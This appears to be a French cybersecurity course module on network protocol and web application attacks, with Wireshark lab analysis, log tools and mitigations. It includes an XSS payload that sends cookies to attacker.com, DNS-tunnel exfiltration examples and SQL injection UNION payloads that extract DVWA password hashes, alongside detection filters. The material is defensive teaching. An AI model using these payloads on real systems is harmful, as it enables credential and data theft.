Aller au contenu

Vulnérabilités avancées des applications réseau et analyse opérationnelle

La sécurité d’un réseau d’entreprise moderne ne se limite pas à l’infrastructure fondamentale : elle s’étend aux protocoles et services qui facilitent les opérations quotidiennes. Un Analyste en Cybersécurité doit maîtriser les techniques permettant d’identifier les vulnérabilités dans les protocoles et applications réseau couramment exploités par les acteurs malveillants. Ce module propose un examen rigoureux de l’exploitation au niveau protocolaire — en particulier l’empoisonnement du cache ARP, le tunneling DNS et l’épuisement DHCP — ainsi que des menaces applicatives telles que l’injection SQL (SQLi), le Cross-Site Scripting (XSS) et les attaques HTTP. Le programme se concentre sur l’identification de ces menaces par l’analyse de captures de paquets (PCAP) et de journaux serveur, à l’aide d’outils standards de l’industrie tels que Wireshark, cat, more, less, tail et journalctl.


TermeDéfinition
ARP (Address Resolution Protocol)Résout une adresse IP en adresse MAC physique sur un segment réseau local.
ARP Gratuit (Gratuitous ARP)Une réponse ARP non sollicitée diffusée au démarrage d’un équipement ; peut être exploitée pour l’empoisonnement du cache ARP.
Tunneling DNSEncode des données non-DNS (commandes C2, données exfiltrées) dans des requêtes/réponses DNS pour contourner les pare-feux.
Épuisement DHCP (DHCP Starvation)Attaque par déni de service qui épuise le pool d’adresses IP DHCP en inondant le serveur de paquets DHCP Discover falsifiés.
Usurpation DHCP (DHCP Spoofing)Un serveur DHCP malveillant fournit une configuration de passerelle/DNS erronée afin de rediriger ou d’intercepter le trafic client.
Usurpation d’adresse MACModification de l’adresse MAC d’une carte réseau pour usurper l’identité d’un hôte légitime sur le réseau.
TermeDéfinition
Injection SQL (SQLi)Instructions SQL malveillantes insérées dans des champs de saisie pour contourner l’authentification ou extraire le contenu d’une base de données.
Cross-Site Scripting (XSS)Scripts malveillants injectés dans un site de confiance et exécutés dans le navigateur de la victime.
Injection de codeL’attaquant exécute des commandes au niveau du système d’exploitation via une application web insuffisamment protégée contre les entrées non validées.
HTTP 302 CushioningAbus des codes de redirection HTTP pour enchaîner les victimes à travers plusieurs serveurs avant d’atterrir sur une page malveillante.
Domain ShadowingUn acteur malveillant s’empare des identifiants d’un domaine parent pour créer silencieusement des sous-domaines malveillants.
iFrame malveillantÉlément HTML <iframe> injecté dans une page compromise afin de charger silencieusement du contenu contrôlé par l’attaquant.

Catégorie d’attaqueVecteur spécifiqueComposant cibléImpact principalIndicateur de détection
Couche 2 – ProtocolaireEmpoisonnement du cache ARPTable ARP localeHomme du milieu (MiTM)Correspondances MAC/IP incorrectes ; IP dupliquées dans la table ARP
Couche 3 – ProtocolaireEmpoisonnement du cache DNSCache du résolveur DNSRedirection vers des sites malveillantsEnregistrements RR falsifiés ; IP inattendue pour un domaine de confiance
Couche 3 – ProtocolaireTunneling DNSRésolveur DNS / C2Exfiltration de données / communications C2Requêtes DNS anormalement longues ; fréquence élevée de requêtes
Couche 3 – ProtocolaireAmplification et réflexion DNSHôte cible (victime DDoS)DoS / DDoSTrafic UDP élevé provenant de résolveurs ouverts
Couche 2 – ProtocolaireÉpuisement DHCPPool d’adresses IP DHCPDéni de serviceFlood de paquets DHCP Discover avec des adresses MAC aléatoires
Couche 2 – ProtocolaireUsurpation DHCP / Serveur DHCP malveillantClients DHCPMiTM / Vol de données d’identificationOffre DHCP malveillante ; passerelle/DNS erronés transmis aux clients
Couche 7 – ApplicativeInjection SQLServeur de base de donnéesFuite de données / Altération / Contournement d’authentificationMots-clés SQL (UNION, OR 1=1) dans les paramètres HTTP GET/POST
Couche 7 – ApplicativeCross-Site Scripting (XSS)Navigateur clientVol d’identité / Distribution de malwareBalises <script> dans le contenu fourni par l’utilisateur
Couche 7 – ApplicativeHTTP 302 CushioningNavigateur / Client HTTPRedirection vers un kit d’exploitationChaîne de redirections 302 dans le trafic HTTP
Couche 7 – ApplicativeiFrame malveillantNavigateur / Page webTéléchargement furtif / Kit d’exploitationBalises <iframe> cachées dans le code source ; iFrames d’un pixel
Couche 7 – ApplicativeUsurpation d’e-mail / HameçonnageUtilisateur finalVol d’identifiants / MalwareEn-tête From falsifié ; noms de domaine avec homoglyphes

Le protocole ARP ne dispose d’aucun mécanisme d’authentification. N’importe quel hôte d’un réseau local peut envoyer une réponse ARP gratuite en revendiquant la propriété de n’importe quelle adresse IP. Un acteur malveillant exploite cette faille pour se positionner en MiTM :

PC-A (192.168.10.10 / AA:AA:AA:AA:AA:AA)
Routeur R1 (192.168.10.1 / A1:A1:A1:A1:A1:A1)
Acteur malveillant (192.168.10.254 / EE:EE:EE:EE:EE:EE)

Séquence d’attaque :

  1. L’acteur malveillant envoie une réponse ARP gratuite falsifiée : “192.168.10.1 est à EE:EE:EE:EE:EE:EE” → empoisonne le cache de PC-A.
  2. L’acteur malveillant envoie une réponse ARP gratuite falsifiée : “192.168.10.10 est à EE:EE:EE:EE:EE:EE” → empoisonne le cache de R1.
  3. Tout le trafic entre PC-A et la passerelle transite désormais par la machine de l’acteur malveillant.

Empoisonnement ARP passif = interception silencieuse des données.
Empoisonnement ARP actif = modification des données en transit ou injection de charges utiles malveillantes.

Outils courants : dsniff, Cain & Abel, ettercap, Yersinia, arpspoof


Type d’attaqueMécanisme
Empoisonnement du cache DNSDes réponses RR falsifiées redirigent les utilisateurs vers des serveurs malveillants
Amplification et réflexion DNSL’attaquant usurpe l’IP de la victime ; des résolveurs ouverts l’inondent de volumineuses réponses DNS
Épuisement des ressources DNSAttaque DoS qui sature toutes les ressources du résolveur, le forçant à redémarrer
TechniqueDescription
Fast FluxRotation rapide des correspondances IP DNS (en quelques minutes) pour dissimuler l’infrastructure C2 d’un botnet
Double IP FluxRotation à la fois des correspondances nom d’hôte/IP ET des serveurs de noms faisant autorité
Algorithmes de génération de domaines (DGA)Un malware génère aléatoirement des noms de domaine utilisés comme points de rendez-vous pour le C2

Le tunneling DNS exploite le fait que le trafic DNS est rarement inspecté ou bloqué en périphérie :

  1. L’attaquant contrôle un serveur de noms faisant autorité pour un domaine (ex. : attacker.com).
  2. Les données à exfiltrer sont encodées en Base64 et découpées en labels de requêtes DNS :
    dGhpcyBpcyBzZWNyZXQ.attacker.com
  3. Les requêtes traversent les résolveurs récursifs et atteignent le serveur de noms de l’attaquant.
  4. L’attaquant répond avec des commandes encodées intégrées dans des enregistrements TXT, CNAME, MX ou NULL.
  5. Le malware sur l’hôte infecté réassemble et exécute les commandes reçues.

Indicateurs de détection :

  • Requêtes DNS dont le nom d’hôte dépasse ~50 caractères
  • Volume élevé de requêtes vers un même domaine inhabituel
  • Utilisation de types d’enregistrements rares (TXT, NULL) pour des hôtes ordinaires
  • Domaines signalés par Cisco Umbrella / flux de renseignements sur les menaces

┌─────────────────┬──────────────────────────────┬──────────────────────────────┐
│ │ Épuisement DHCP │ Usurpation DHCP / Serveur │
│ │ │ malveillant │
├─────────────────┼──────────────────────────────┼──────────────────────────────┤
│ Objectif │ Épuiser le pool IP (DoS) │ Fournir une fausse config. │
│ Méthode │ Flood de DISCOVER avec MACs │ Le serveur malveillant │
│ │ aléatoires │ répond en premier │
│ Impact │ Les clients légitimes n'ont │ Mauvaise passerelle/DNS → │
│ │ plus d'IP │ MiTM │
│ Détection │ Taux élevé de DHCP Discover │ Plusieurs offres DHCP sur LAN│
└─────────────────┴──────────────────────────────┴──────────────────────────────┘

Un serveur DHCP malveillant peut diffuser trois types d’informations erronées :

  • Mauvaise passerelle par défaut → tout le trafic est redirigé via l’attaquant
  • Mauvais serveur DNS → l’utilisateur visite de faux sites contrôlés par l’attaquant
  • Adresse IP invalide → déni de service pour ce client

1. La victime visite un site légitime compromis
2. Redirection HTTP 302 → chaîne à travers plusieurs serveurs compromis
3. Domain shadowing → redirige vers un serveur de sous-domaine compromis
4. Page d'atterrissage du kit d'exploitation → analyse les logiciels client (OS, Java, Flash, navigateur)
5. Plugin vulnérable exploité → le serveur du kit d'exploitation livre un shellcode
6. La charge utile (malware) est téléchargée et exécutée sur la machine de la victime
Classe de codePlageSignification en sécurité
Informationnel1xxProvisoire ; rarement observé dans les attaques
Succès2xxRéponse normale ; 200 OK confirme que les données ont été servies
Redirection3xx302 Found exploité pour les attaques de cushioning
Erreur client4xx403 Forbidden, 404 Not Found ; indicateurs de balayage
Erreur serveur5xxPeut indiquer une exploitation ou une mauvaise configuration

Les acteurs malveillants injectent des balises <iframe> cachées (souvent 1×1 pixel) dans des pages web compromises. L’iFrame charge silencieusement du contenu depuis le serveur de l’attaquant, qui peut délivrer :

  • Des kits d’exploitation ciblant les vulnérabilités du navigateur ou des plugins
  • De la publicité spam
  • Des téléchargements furtifs de malware (drive-by download)

Basé sur l’analyse PCAP du lab MySQL (SQLLab.pcap, hôtes 10.0.2.410.0.2.15, durée ~8 min) :

ÉtapeLigne WiresharkRequête injectéeRésultat
Sonde / TautologieLigne 131' OR 1=1 (sous forme id=1 1)Confirme la vulnérabilité SQLi — la BDD retourne un enregistrement
Énumération BDDLigne 191 OR 1=1 UNION SELECT database(),user()Révèle le nom de la BDD (dvwa) et l’utilisateur (root@localhost)
Empreinte de versionLigne 221 OR 1=1 UNION SELECT null,version()Retourne la chaîne de version MySQL
Découverte de tablesLigne 251 OR 1=1 UNION SELECT null,table_name FROM information_schema.tablesListe tous les noms de tables
Collecte d’identifiantsLigne 281 OR 1=1 UNION SELECT user,password FROM usersExtrait les hachages de mots de passe MD5 de tous les utilisateurs

Exemple d’identifiants récoltés (hachages MD5) :

admin : 5f4dcc3b5aa765d61d8327deb882cf99 → "password"
gordonb : e99a18c428cb38d5f260853678922e03 → "abc123"
1337 : 8d3533d75ae2c3966d7e0d4fcc69216b → "charley"
pablo : 0d107d09f5bbe40cade3de5c71e9e9b7 → "letmein"
smithy : 5f4dcc3b5aa765d61d8327deb882cf99 → "password"

Les hachages MD5 peuvent être cassés avec des outils comme CrackStation ou hashcat.

Méthodologie Wireshark pour l’analyse SQLi :

1. Ouvrir SQLLab.pcap dans Wireshark
2. Clic droit sur une ligne HTTP GET suspecte → "Suivre > Flux HTTP"
3. Dans la fenêtre de flux, utiliser "Rechercher" pour chercher les marqueurs d'injection (ex. : "1 1")
4. Observer les réponses du serveur en BLEU (destination → source)
5. Confirmer l'exfiltration de données dans la sortie HTML

Exemple de requête HTTP GET malveillante :

GET /dvwa/vulnerabilities/sqli/?id=1+or+1%3D1+union+select+user%2Cpassword+from+users%23&Submit=Submit HTTP/1.1
Host: 10.0.2.15
-- SQL équivalent exécuté côté serveur :
SELECT first_name, last_name FROM users WHERE user_id = '1' OR 1=1 UNION SELECT user, password FROM users#';

TypeStockageDéclenchementPortée
Stocké (Persistant)Permanently en base de données serveurTout visiteur charge la pageTous les visiteurs futurs sont affectés
Réfléchi (Non-persistant)Dans l’URL/lien malveillantLa victime clique sur le lien forgéUniquement les utilisateurs qui cliquent

Exemple de vecteur d’attaque :

<!-- L'attaquant publie ceci en commentaire sur un forum vulnérable : -->
<script>document.location='https://attacker.com/steal?c='+document.cookie;</script>

1. Investigation du trafic DNS (Lab Wireshark 17.1.7)

Section intitulée « 1. Investigation du trafic DNS (Lab Wireshark 17.1.7) »

Objectif : Capturer et distinguer une résolution DNS légitime d’une activité potentiellement malveillante.

Procédure de capture étape par étape :

Fenêtre de terminal
# 1. Vider le cache DNS avant la capture (Linux)
sudo systemd-resolve --flush-caches
sudo systemctl restart systemd-resolved.service
# 2. Utiliser nslookup pour générer du trafic DNS
nslookup
> www.cisco.com
> exit

Flux de travail d’analyse Wireshark :

ÉtapeActionObjectif
Filtrerudp.port == 53Isoler tout le trafic DNS
Sélectionner la requêtePaquet avec “Standard query A www.cisco.comInspecter la requête de résolution sortante
Déplier les couchesEthernet II → IPv4 → UDP → DNSVérifier les adresses MAC, IP et port source/destination
Vérifier les indicateursIndicateurs DNS → Récursion souhaitée (RD=1)Confirme une requête récursive
Sélectionner la réponsePaquet avec “Standard query response A”Inspecter la réponse du résolveur
Déplier les réponsesEnregistrements CNAME + AComparer l’IP résolue avec la sortie nslookup

Structure d’une requête DNS normale :

Port source : éphémère (ex. : 54321)
Destination : 53/UDP (serveur DNS)
Types d'enreg.: A (IPv4), AAAA (IPv6), CNAME (alias)
Longueur req. : généralement < 50 caractères

Signaux d’alerte du tunneling DNS :

- Nom d'hôte de la requête > 50–100 caractères
- Fréquence élevée de requêtes TXT ou NULL
- Entropie des sous-domaines anormalement élevée (chaînes de type Base64)
- Un seul domaine cumulant des centaines de requêtes/minute
- Cisco Umbrella / renseignement sur les menaces signalant le domaine

2. Injection SQL — Détection Wireshark (Lab 17.2.6)

Section intitulée « 2. Injection SQL — Détection Wireshark (Lab 17.2.6) »
Fenêtre de terminal
# Filtre d'affichage Wireshark pour isoler le trafic SQLi :
http.request.method == "GET" && http contains "union"
# Ou plus large :
http.request.uri contains "select" || http.request.uri contains "union" || http.request.uri contains "1=1"

Indicateurs de compromission (IoC) dans les flux HTTP :

- Caractères encodés URL : %27 = ' (guillemet simple), %20 = espace, %23 = # (commentaire)
- Manipulation logique : id=1+OR+1%3D1
- Extraction UNION : UNION+SELECT+user%2Cpassword+FROM+users
- Terminaison de commentaire : --, #, /**/

OutilExemple de commandeComportementMeilleur cas d’usage
catcat /var/log/syslog.1Affiche l’intégralité du fichier en une foisPetits fichiers ; inspection rapide
moremore logstash-tutorial.logPage par page, uniquement vers l’avantFichiers de taille moyenne
lessless logstash-tutorial.logPage par page, bidirectionnelGrands fichiers ; préférable à more
tailtail /var/log/syslogAffiche les 10 dernières lignes par défautVérification rapide des événements récents
tail -ftail -f /var/log/nginx/access.logFlux en temps réel des nouvelles entréesSurveillance d’incident en cours
journalctljournalctl -u nginx.service --since todayInterroge le journal systemd (binaire)Analyse des journaux de services systemd
Fenêtre de terminal
journalctl # Tous les journaux
journalctl --utc # Afficher les horodatages en UTC
journalctl -b # Journaux depuis le dernier démarrage
journalctl -u nginx.service # Journaux d'un service spécifique
journalctl -u nginx.service --since today
journalctl -k # Messages du noyau uniquement
journalctl -f # Mode suivi (comme tail -f)
sudo journalctl # Sortie plus détaillée (nécessite root)
FonctionnalitéSyslogJournald
FormatTexte brutBinaire (en ajout uniquement)
Fichiers/var/log/syslog, .1, .2Fichiers binaires du journal
RotationRotation de fichiers (syslog.1, .2…)Rotation par taille/durée
Outil de consultationcat, grep, lessjournalctl
Journalisation distanteNative (protocole syslog)Nécessite une configuration supplémentaire
Données structuréesLimitéesSupport natif
Importance de la synchronisation horaireCritique pour la corrélation de journauxCritique pour la corrélation de journaux
218.30.103.62 - - [04/Jan/2015:05:29:26 +0000] "GET /blog/geekery/jquery.html HTTP/1.1" 200 202 "-" "Sogou web spider/4.0"
│ │ │ │ │ │ │ │
│ │ │ │ │ │ │ └─ Agent utilisateur
│ │ │ │ │ │ └─ Référent
│ │ │ │ │ └─ Taille de la réponse (octets)
│ │ │ │ └─ Code de statut HTTP
│ │ │ └─ Ligne de requête
│ │ └─ Horodatage
│ └─ Utilisateur authentifié (- = aucun)
└─ IP client

Patterns suspects à rechercher dans les journaux web :

Fenêtre de terminal
# Détecter des tentatives d'injection SQL dans les journaux d'accès
grep -E "(union|select|insert|drop|1=1|'--)" /var/log/nginx/access.log
# Trouver les erreurs 4xx excessives (balayage/reconnaissance)
awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -rn
# Identifier les agents utilisateur inhabituels
awk -F'"' '{print $6}' /var/log/nginx/access.log | sort | uniq -c | sort -rn

Étude de cas 1 : Usurpation de la passerelle par défaut (ARP)

Section intitulée « Étude de cas 1 : Usurpation de la passerelle par défaut (ARP) »

Un acteur malveillant utilise des réponses ARP gratuites pour associer son adresse MAC (EE:EE:EE:EE:EE:EE) à l’IP de la passerelle par défaut (192.168.10.1). Le PC-A victime et le routeur R1 mettent tous deux à jour leur cache ARP. Tout le trafic quittant le réseau local transite désormais par la machine de l’acteur malveillant, permettant une écoute passive ou une injection active.

Étude de cas 2 : Injection SQL progressive (DVWA)

Section intitulée « Étude de cas 2 : Injection SQL progressive (DVWA) »

L’attaquant commence par une sonde par tautologie (1 OR 1=1), confirme la vulnérabilité, puis escalade via des instructions UNION SELECT pour énumérer le nom de la base de données, la version, les tables, les noms de colonnes, et extrait enfin les hachages MD5 de mots de passe de la table users — le tout en 8 minutes, visible dans un seul fichier PCAP.

Un hôte infecté sur un réseau d’entreprise ne peut pas communiquer directement avec son serveur C2 en raison des règles de pare-feu. Il encode les réponses aux commandes sous forme de sous-domaines Base64 (ex. : dGVzdA==.c2.attacker.com) et les interroge via DNS. Comme le port 53/UDP est rarement bloqué en sortie, les données s’exfiltrent sans être détectées jusqu’à ce qu’une solution de sécurité DNS comme Cisco Umbrella signale les patterns de requêtes anormaux.


PaireAttaque AAttaque BDifférenciateur clé
Tunneling DNS vs. Réflexion DNSTunneling : canal C2/exfiltration covertRéflexion : flood DDoS amplifié via résolveurs ouvertsTunneling = communication ; Réflexion = attaque volumétrique
SQLi vs. XSSSQLi : cible la base de données côté serveurXSS : cible le navigateur côté clientContexte d’exécution serveur vs. client
Épuisement DHCP vs. DHCP malveillantÉpuisement : DoS qui vide le pool IPDHCP malveillant : MiTM via fausse passerelle/DNSRésultat DoS vs. MiTM
XSS Stocké vs. XSS RéfléchiStocké : permanent en serveur, affecte tous les visiteursRéfléchi : dans l’URL, nécessite un clic de la victimePortée de la persistance
Empoisonnement ARP Passif vs. ActifPassif : capture silencieuse du traficActif : modification ou injection de données malveillantes en transitLecture seule vs. manipulation de données
HTTP 302 Cushioning vs. Domain Shadowing302 Cushioning : chaîne de redirections vers un kit d’exploitationDomain shadowing : sous-domaines détournés comme cibles de redirectionTechnique de transport vs. infrastructure

MenaceMesure d’atténuation
Empoisonnement du cache ARPInspection ARP dynamique (DAI) sur les commutateurs gérés ; entrées ARP statiques pour les hôtes critiques
Tunneling / Attaques DNSCisco Umbrella ; inspection du trafic DNS ; blocage des services DNS dynamiques
Épuisement / Usurpation DHCPDHCP Snooping sur les commutateurs ; sécurité des ports limitant le nombre d’adresses MAC par port
Injection SQLRequêtes paramétrées / instructions préparées ; validation stricte des entrées ; WAF
XSSEn-têtes Content Security Policy (CSP) ; assainissement des entrées ; encodage des sorties
iFrames malveillantsÉviter les iFrames dans les applications web ; en-tête X-Frame-Options ; Cisco Umbrella
HTTP 302 CushioningFiltrage par proxy web ; Cisco Umbrella ; sensibilisation des utilisateurs à la sécurité
Menaces par e-mailCisco Email Security Appliance ; SPF/DKIM/DMARC ; formation des utilisateurs
Intégrité des journauxServeur syslog centralisé ; synchronisation horaire NTP ; détection de falsification des journaux